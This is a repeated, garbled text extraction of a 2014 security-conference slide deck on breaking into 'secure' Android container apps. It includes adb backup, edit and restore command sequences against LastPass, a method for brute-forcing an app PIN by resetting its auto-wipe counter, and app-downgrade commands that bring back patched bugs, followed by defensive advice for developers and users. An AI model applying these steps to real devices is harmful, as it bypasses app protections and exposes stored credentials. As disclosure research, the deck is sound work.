Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 135: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 136: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
